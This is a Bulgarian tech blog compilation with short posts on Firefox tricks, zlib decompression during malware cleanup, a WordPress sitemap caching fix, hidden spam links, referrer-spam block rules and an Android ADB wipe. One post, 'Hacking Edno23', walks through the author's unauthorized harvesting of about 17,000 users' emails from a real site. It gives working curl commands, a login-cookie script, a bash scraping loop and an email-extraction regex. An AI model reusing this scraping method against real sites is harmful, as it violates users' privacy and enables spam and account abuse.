Последният войнишки император

Тъй като напоследък не съм се разписал, но непрекъснато чета това и онова е време да започна да ги складирам нейде. И времето дойде.

Последният войнишки император – част 1
Последният войнишки император – част 2
Последният войнишки император – част 3

Общо взето се чете на един дъх и е много завладяващо. Няма да ви развалям удоволствието със разкрития какво се случва. Само става въпрос за иманяри и императори.

Restarting Firefox

Току-що открих как може да се рестартира Firefox без да се загуби нищо.

  1. Натискате Shift-F2. За Mac е Fn-Shift-F2.
  2. Във конзолата която излиза пишете restart

Това е.

zlib extraction

Снощи докато чистех един сайт от вируси намерих интересна директорна структура която просто не и беше мястото там (директория със транслации на javascript) със над 9999 файла и един добре обфускиран PHP скрипт. Разбира се любопитството ми проработи и преглеждането на файловете със шестнадесетичен редактор не даде никакъв резултат – или бяха криптирани или компресирани. Общото беше че всички файлове започваха със 0x78 0x9c. Опитите да видя какво е със file (*nix инструмент показващ типа на файла) не дадоха резултат. Но търсачките веднага разконспирираха, че това е zlib компресиран поток. Това ми разпали още повече любопитството да видя какво има във горните файлове.

Опитах да ги разкомпресирам със gunzip. Не се получи защото gzip използва zlib за компресия, но тогава файла започва със 0x1f 0x8b 0x08 и след няколко байта е самия zlib поток. Мързеше ме да си компилирам програма за разкомпресиране на zlib, можех да спретна и нещо на скриптов език. Но бях убеден че има и далеч по-лесен начин.

ИМА! Цялата магия се осъществява със следния “магически” ред:
printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" |cat - zlib.raw |gzip -dc
което ми спести няколко цени минути. Има и още един подобен трик със openssl (и двата правят едно и също просто разликата е във самия синтаксис):
openssl zlib -d < zlib.raw
openssl zlib -d -in zlib.raw

Резултата – видях съдържанието на файловете което беше вече първото реално доказателство за наличие на пробив във сайта. И за пореден път се убедих че от *nix-а по-голямо няма.

W3TC and Yoast SEO sitemap problem

Проблем със генерирането на sitemap под WordPress

WordPress е много хубава CMS система и работи out-of-box. Но за да работи още по-добре се слагат разни плъгини, уиджети, модули и други благинки. Сега ще ви покажа как 2 перфектни и много известни плъгини се сбиват и правят живота ви със една идея по-труден дори при генерирането на един прост sitemap. От дълго време ползвам W3TC както и Yoast SEO. И двата плъгина са лидери във своята област и всекидневно се използват от милиони блогове. За съжаление има малка уловка при тях която се отразява на XML sitemap-a.

От известно време забелязах че сайтмапа ми веднъж се появява така:

correct-yoast-seo-sitemapдруг път така:

broken-yoast-seo-sitemapПоради липса на време (и интерес) не обърнах внимание защо и как се получава това. Отделно роботите продължават да ми посещават сайта без проблем, все едно няма такъв. Обаче има проблем: веднъж когато работи сайта ми връща text/xml, друг път text/html. В момента работя разни неща за проверка на sitemap и не ми трябва просто някакъв сайтмап, ами ми трябва перфектният сайтмап.

След 30 минутно разследване се оказа че когато съм логнат винаги виждам нещата перфектно независимо колко пъти ги презаредя. Когато изляза и почистя W3TC кеша ги виждам перфектно веднъж като xml, след което при презареждане ми се сервират html файлове. Което е сигурен признак, че проблема е нейде във W3TC.

Малко предистория
W3TC има няколко режима на работа от които на мен най-ми харесва Disk: Enhanced. Във този режим готовите страници се записват на диска и със няколко ловки пренасочвания със .htaccess или nginx правила се достъпват. Това е един от най-добрите режими защото веднъж след като WordPress и PHP генерират страницата повече не се изпълнява нито ред код от тях. На практика дори WP/PHP не знаят че страницата е достъпвана след като я генерират. Единственния вариант да се достъпи е когато човек се логне или когато кеша се инвалидира. Другия вариант е Disk: Basic, но там веднъж след като се генерира страницата и се записва после достъпа пак минава през WP/PHP. Там плюса е че не се извикват всички плъгини и модули за целта и направо се връща готовата страница. На практика плъгина Hyper Cache Extended на Marto Lazarov прави същата функционалност. Другия подобен плъгин е WP Super Cache на Donncha O Caoimh, но той е малко по-комплексен и съчетава едновременно Basic и Еnhanced.

Сега Disk: Enhanced след като генерира файла го обслужва със серия правила за web server-a. Но проблема е че по дефиниция той приема че всички кеширани файлове са text/html докато във моя случай трябва да връща text/xml. За да бъде хаоса пълен тези файлове не съществуват физически на диска а WordPress ги виртуализира през едно негово API. Yoast SEO ги генерира от базата данни и ги връща на клиента. Затова и W3TC ги прихваща.

Разбира се W3TC има правила при които може да се изключи файл от кеширането. При мен просто във Performance -> Page Cache -> Never cache the following pages:

sitemap_index\.xml
main-sitemap\.xsl
post-sitemap\.xml
page-sitemap\.xml
category-sitemap\.xml
author-sitemap\.xml
post_tag-sitemap\.xml

При вас разбира се може файловете малко да се различават. Затова отворете sitemap_index.xml и добавете във горния списък необходимите файлове.

Разбира се всичко зависи от настройките на плъгините и на практика ставате жертва на обстоятелствата. И двата плъгина работят чудесно по отделно, но при определени настройки нещата се чупят когато са заедно. Разбира се това работи във моя случай. Обаче ако сте активирали минифицирането и конкатинирането на файловете е напълно възможно също да счупите генерирането на сайтмап.

Извода е, че колкото по-голям и комплексен е даден плъгин толкова по-голяма е вероятността да повреди нещо друго. И винаги проверявайте какво се случва след плъгините. Понякога малки и незначителни на вид неща имат катастрофални последици.

trackback-spam

Спам линкбилдинг техники

Днес докато разглеждах сайта на доставчика ми (Networx) от мобилно устройство за да открия тарифата за безжичен интернет забелязах че докато зарежда за части от секундата видях текст “стоматолог в русе”. Но когато страницата се зареди вече нямаше такъв текст. Разбира се любопитството ми проработи и когато седнах на компютър направих нова проверка.

Резултата беше категоричен. Линк има във кода:
Screen shot 2015-03-21 at 23.58.09
Но във DOM линка изчезва:
Screen shot 2015-03-22 at 01.34.01

Тук вече любопитството ми заработи на пълни обороти. Има няколко начина да се скрие линк като се направи невидим – като се сложи за цвят цвета на фона, като се направи със много малък шрифт, като се скрие зад друг елемент и още няколко подобни похвати описани по-подробно на линка тук. Разбира се описано е много добре:

Hiding text or links in your content to manipulate Google’s search rankings can be seen as deceptive and is a violation of Google’s Webmaster Guidelines.

Понеже Google не са всемогъщи те имат една форма за подаване на сигнал към екипа за уеб спам която се намира тук. Разбира се никой не е открил топлата вода. Подобни условия имат Bing и Yandex

Но това са разни CSS похвати които са сравнително лесно може да се открият. Във моя случай текста просто изчезваше което говореше за използване на JavaScript код. За щастие целия текст е обграден от един span елемент с много специфичен идентификатор което предполага използването му за почистването. Тук вече късметът ми изневери малко. Сайта имаше 20 JS скрипта и 11 CSS файла и не ми се търсеше всичко файл-по-файл. За мое щастие във инструментите за разработчици има възможност да се търси текст във всички файлове. Така лошия код много лесно беше разгадан:
Screen shot 2015-03-22 at 00.21.37

Хмм… Разгледах няколко страници от сайта им и на всички намерих горния код. На пръв поглед изглежда някой е хакнал моя интернет доставчик като му е сложил 4 реда нейде из WordPress темата. Една проверка във OpenSiteExplorer за линка показа, че и още един сайт има същия линк:
Screen shot 2015-03-22 at 00.31.37 Проблема е че RuseNews също е на Networx и изглежда и той беше пострадал. Втория проблем е, че OSE работи доста бавно за откриване на нови линкове поради специфика на самия инструмент. Затова една бърза проверка във OpenLinkProfiler разкрива малко повече подробности:
Screen shot 2015-03-22 at 00.51.04Screen shot 2015-03-22 at 00.51.19

Явно не само Networx са пострадалите от тази линкбилдинг техника. Уви тази техника е непозволена и може да доведе до наказания на всички сайтове участващи във схемата. Аз няма да рапортувам сайтовете във тази порочна схема, но не мога да гарантирам че някой читател няма да направи това. Освен това нарочно използвам снимки за да не им правя неволен линкбилдинг.

Затова винаги си проверявайте сайтовете през някакъв период от време за изходящи и входящи линкове. Понякога няколко минути работа може да доведат до резултати многократно надхвърлащи очакванията.

Hacking Edno23 with opensource tools

Хакване на Edno23

Важно 2: Във curl командите за вход е отстранена малка грешка.

Важно 1: По-малко от час след написването на настоящето проблема беше отстранен. Благодарим на администрацията за бързата реакция.

Лятото на 2014 забелязах, че във мобилната версия на Edno23 има особенност която позволява да се види мейла на кой-да-е потребител във системата. Алармирах администрацията на сайта които ми отговориха, че това било от темата и били знаели за него. Изчаках търпеливо няколко (9) месеца, но проблема си стоеше неотстранен. И една вечер ми хрумна да им смъкна всичките мейли на регистираните им потребители. Сега ще ви покажа как беше реализирано всичко това за 5 минути.

Първата задачка беше да се смъкнат списъците на всички налични потребители. Списъка на всички потребители се намира тук:
http://edno23.eu/members
но има и 2,3 и общо 713 страници:
http://edno23.eu/members/tab:all/pg:2
http://edno23.eu/members/tab:all/pg:3
http://edno23.eu/members/tab:all/pg:4

http://edno23.eu/members/tab:all/pg:713

Това се изпълнява много лесно само със един ред:

curl http://edno23.eu/members/tab:all/pg:[1-713] -o "profiles-pg#1.txt"

При това не е необходимо човек да бъде логнат във сайта за да достъпи този списък. След операцията във папката ще има сумарно 713 текстови файлове със съдържанието на потребителите. Във всеки един от текстовите файлове има до 24 потребителя. След бърз преглед установяваме как линковете към потребителите имат добавен клас groupname или groupavatar. За наша радост egrep има удобна фукнция за филтриране на файлове на базата на regex шаблон:

egrep -h -o "http://edno23.eu/.*\" class=\"groupname\"" profiles-pg*.txt

разбира се извеждането във конзолата е леко досадно затова си го пренасочваме към файл ето така:

egrep -h -o "http://edno23.eu/.*\" class=\"groupname\"" profiles-pg*.txt > full-list-users

след което трябва да отворим файла full-list-users и да премахнем ето това
” class=”groupname”
от всички редове и честито. Току-що получихме списък на линковете към профилите на всички потребители на сайта.

Втората задачка беше да вземем самите мейли от всеки един потребител. Тук вече късмета малко ми поизневери. Трябваше да намеря начин да вляза във сайта за да мога да смъкна информацията. За моя радост curl имаха решение и на този проблем:

curl -o login.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" http://edno23.eu/m/

така правим посещение на логин формата. Сега ще въведем потребителското име и паролата:

curl --data "email=EMAIL&password=PASSWORD&rememberme=1" -o login.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" http://edno23.eu/m/

Съдържаниято на login.txt трябва след горната операция трябва да има линк към:

http://edno23.eu/m/dashboard

Което е сигурен сигнал, че сме влезли напълно редовно и можем да започнем със събирането на информацията ни. Нека сега да направим и автоматизация смъкването на информацията:

#!/bin/bash
echo enter file name
read fname
exec<$fname
while read line
do
AFTER_SLASH=${line##*/}
echo $AFTER_SLASH
url="http://edno23.eu/m/${AFTER_SLASH%%\?*}/show:info"
curl -o $AFTER_SLASH.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" $url
done

Горния bash скрипт се записва като dump_users.sh. Дават му се права за изпълнение (chmod +x dump_users.sh) и си го изпълняваме. Скрипта ще помоли за име на входния файл със потребителите при което му подаваме файла full-list-users като вход и започва голямото смъкване. Ако цялата операция премине успешно ще имаме папка със около 17000 файла със шаблона username.txt. Това ще трае може би няколко часа във зависимост от интернет достъпа ви, затова се въоръжете със малко търпение.

Третата задачка беше най-сладката… да съберем мейлите от вече смъкнатите профили:

egrep -h -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b" *.txt

тук обаче се натъкваме на нов проблем. Някой от файловете имат мейла два пъти което лесно се фиксира със един sort -u:

egrep -h -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b" *.txt | sort -u

Както сами виждате няма нищо сложно във горните команди. На практика не са нищо повече от извикване на curl, egrep и bash със няколко параметъра, което е доста добре за потребителите на *nix и клонинзите. Ако работите под Windows навярно ще трябва да използвате bash от Cygwin или със лека преработка PowerShell. Разбира се аз няма да ви дам на готово списък със мейлите на потребителите. И най-забавното във целия случай е че според правилата на сайта описани тук http://edno23.eu/terms всичко си е напълно коректно:

Запазваме правото си да деактивираме или изтриваме профили, направени изцяло с рекламна цел. Извиняваме се, но никой не ги иска на този етап, включително и ние.
stop-bad-robots

Спиране на спам ботове и линкове във Аналитикс

От няколко години във интернет се подвизава един метод за създаване на трафик към сайт. Говорим за spambot referrers които посещават сайт X като са дошли от сайт Y. По този начин те правят refferer трафик към сайт Х от името на сайт Y. Само администраторите и потребителите на Analytics подобен софтуер (Google Analytics, KissMetrics, Moz Analytics, Piwik, HubSpot Analytics и други) може да го видят уви. Но това са предимно администратори, web програмисти, дизайнери, оптимизатори или самите собственици на сайтове и има голям интерес от тяхна страна. Все пак всеки би се заинтригувал точно как сайт Y ни е линкнал.

Уви този метод не е етичен и напоследък доста се злоупотребява със него във интернет. Сега ще ви покажа прост метод как този спам трафик може да се блокира под Apache, nginx и Google Analytics.

за Apache .htaccess:

SetEnvIfNoCase Referer semalt.com spambot=yes
SetEnvIfNoCase Referer buttons-for-website.com spambot=yes
SetEnvIfNoCase Referer darodar.com spambot=yes
SetEnvIfNoCase Referer 7makemoneyonline.com spambot=yes
SetEnvIfNoCase Referer ilovevitaly.co spambot=yes
SetEnvIfNoCase Referer myftpupload.com spambot=yes
SetEnvIfNoCase Referer econom.co spambot=yes
SetEnvIfNoCase Referer iskalko.ru spambot=yes
SetEnvIfNoCase Referer ilovevitaly.ru spambot=yes
SetEnvIfNoCase Referer ilovevitaly.com spambot=yes
SetEnvIfNoCase Referer o-o-8-o-o.ru spambot=yes
SetEnvIfNoCase Referer o-o-6-o-o.ru spambot=yes
SetEnvIfNoCase Referer cenoval.ru spambot=yes
SetEnvIfNoCase Referer priceg.com spambot=yes
SetEnvIfNoCase Referer cenokos.ru spambot=yes
SetEnvIfNoCase Referer seoexperimenty.ru spambot=yes
SetEnvIfNoCase Referer gobongo.info spambot=yes
SetEnvIfNoCase Referer vodkoved.ru spambot=yes
SetEnvIfNoCase Referer adcash.com spambot=yes
SetEnvIfNoCase Referer websocial.me spambot=yes
SetEnvIfNoCase Referer cityadspix.com spambot=yes
SetEnvIfNoCase Referer luxup.ru spambot=yes
SetEnvIfNoCase Referer ykecwqlixx.ru spambot=yes
SetEnvIfNoCase Referer superiends.org spambot=yes
SetEnvIfNoCase Referer slftsdybbg.ru spambot=yes
SetEnvIfNoCase Referer edakgfvwql.ru spambot=yes
SetEnvIfNoCase Referer socialseet.ru spambot=yes
SetEnvIfNoCase Referer screentoolkit.com spambot=yes
SetEnvIfNoCase Referer savetubevideo.com spambot=yes
Order allow,deny
Allow from all
Deny from env=spambot

вмъкнете горния код някъде във основния код на .htaccess. Ако имате друг лош referrer просто го допишете във списъка.

за nginx:

if ($http_referer ~* (semalt.com)) {return 403;}
if ($http_referer ~* (buttons-for-website.com)) {return 403;}
if ($http_referer ~* (darodar.com)) {return 403;}
if ($http_referer ~* (7makemoneyonline.com)) {return 403;}
if ($http_referer ~* (ilovevitaly.co)) {return 403;}

добавете във конфирурационния файл на виртуалния сървър само тези редове които ви трябват. Ако има друг сървър просто го добавете като конфигурация.

за Google Analytics:

Admin tab > View Section > Filters Add a filter > Custom > Filter Field трябва да бъде Referral Pattern > и прибавяме сайта като www\.domain\.com
или
Admin tab > Property Section > JS tracking Info и прибавяме сайтовете към referral exclusion list

Разбира се това няма да попречи на “Лошите Момчета” да продължават да се опитват да ви заразят статистиките във аналитикса, но ще ги намали драстично. Винаги трябва да проверявате лог файловете си и аналитикса за подозрителен трафик от сайтове и да реагирате своевременно.

multiple-profiles-in-Firefox

Използване на няколко профила под Firefox

Когато ровенето във интернет се превърне във професия неминуемо човек се сдобива със няколко профила и започва едно чудене тип “със този браузър къде се бях логнал?”. Сега ще ви покажа как да активирате мултипрофилната поддръжка под Firefox и да я използвате във ваша полза.

  1. Излезте от Firefox ако е пуснат, ако не е пуснат пропуснете тази стъпка.
  2. Стартирайте команден ред. Под Windows трябва да се стартира cmd.exe, Linux/BSD/OSX потребителите трябва да отворят един терминал.
  3. Активиране на Firefox Profile Manager. Това е може би най-трудната част. Общо взето трябва да се напише един единствен ред.
    Windows 32 битов

    "C:\Program Files\Mozilla Firefox\firefox.exe" -ProfileManager

    Windows 64 битов

    "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" -ProfileManager

    OSX

    /Applications/Firefox.app/Contents/MacOS/firefox-bin -ProfileManager

    Linux

    firefox -ProfileManager
  4. Firefox ще ви покаже заветния екран със списък със няколко профила (в момента е един) и няколко бутона. До сега сте работили във профила “default”. Сега натискате бутона “Create Profile…”
  5. Излиза един нов прозорец който ще ви попита как да се казва новия профил. Напишете име под което ще свързвате новия профил със предназначението му. Ако сте начинаещ не бутайте папките – Firefox сам ще се оправи и няма да омеши профилите.
  6. Натискате бутона “Done”
  7. Et voila! Имате чисто нов профил под който можете да стартирате Firefox.
  8. Сега при всяко стартиране Firefox ще ви попита под кой потребител искате да продължите работата си ако махнете “Don’t Ask at Startup”. Ако го оставите Firefox винаги ще стартира със Default профила и горната гимнастика от точка 3 ще трябва да се изпълнява когато трябва да влезете под другите профили.

Тъй като профилите не се смесват всички пароли, настройки, плъгини, бисквитки, отметки и други такива са индивидуални между профилите. Между профилите не може да се прехвърли нищо от горепосочените неща защото те са индивидуани за всеки един потребител. Единственно Firefox е общ и обновяването му ще обнови Firefox на всички потребители.

Има още един малък трик който ще опиша тук. Тъй като Firefox използва стартирания профил за да се взлезе със друг потребител трябва да се излезе от текущия. Което е малко досадно, ако трябва да се направи нещо малко по-бързо едновременно от двата потребителя. Mozilla са помислили за хитро решение на проблема като Firefox се стартира със опция “-no-remote” примерно като така:

"C:\Program Files\Mozilla Firefox\firefox.exe" -no-remote
"C:\Program Files (x86)\Mozilla Firefox\firefox.exe" -no-remote
/Applications/Firefox.app/Contents/MacOS/firefox-bin -no-remote
firefox -no-remote

Използвайте реда който е за операционната система която ползвате както по-горе. Това ще доведе до стартирането на две (или повече!) работещи копия на Firefox във паметта и може да затормози доста компютъра ви в зависимост от дейностите които изпълнявате. Затова е по-удобно да изнесете тази команда някъде като икона за бърз достъп (shortcut). Никога ама абсолютно НИКОГА не стартирайте два пъти браузъра със един и същи профил едновременно! Може сериозно да повредите профила. Отделно трябва и много да се внимава при изтриването на профилите защото процедурата няма лесно възстановяване на данните ако случайно бъде изтрит профил който не е трябвало да се пипа.

Можете също така да стартирате и Firefox със бързо влизане във профил. Тук опцията е “-P <името -на-профила>” и може да се прибави и “-no-remote” за да се влезе във него дори и ако е стартиран вече браузъра под друг профил.

Отняколко месеца използвам тази техника успешно и вече не ми се налага да излизам и да влизам във различните услуги със различни профили. Механизма е проигран успешно и може да ви помогне ако имате повече от един акаунт във социалните мрежи (например 2-3 Facebook), ако правите активна оптимизация на сайтове или просто трябва да използвате акаунти на клиенти или приятели.

Ако искате повече информация можете да я намерите от извора тук, тук или тук

Recover Android with ADB

Настоящето го описвам защото днес се сблъсках със много интересен проблем. Евтин китайски таблет забива на логото на Android и няма измъкване оттам. Във различните форуми споделяха за рестартиране при задържане на Vol+ бутон, на друго място бутона беше Vol-, а имаше и места където искаха и двата бутона да бъдат задържани. На друго място споделяха, че можело безболезнено да се почисти самото потребителско съдържание със помоща на ADB. За щастие намерих оттук ADB за OSX и започнах със експериментите.

Първоначално установих, че имам със ADB контрол над устройството докато си цикли на логото на Android. Затова написах следната команда:

adb shell
recovery --wipe_data

Уви тук се натъкнах на следния проблем. Екрана премигваше няколко пъти и горната команда връщаше “segmentation fault” което е друг проблем. За мой късмет имало и по-къса команда wipe. Затова си натраках следния ред:

adb shell wipe data
adb reboot

Във резултат на което устройството успя да се рестартира и почисти всички потребителски настройки. Инсталацията на Android тръгна и устройството беше завърнато към живот. Както можеше и да се очаква всички данни от устройството бяха затрити. Което е както и минус така и плюс.

Ако “случайно” сте под Windows то ADB може да бъде намерено оттук. Разбира се няма как да потвърдя, че е работоспособно. Всъщност цялото ADB може да бъде смъкнато оттук, но е около 400MB и идва със цялата среда за разработка под Android.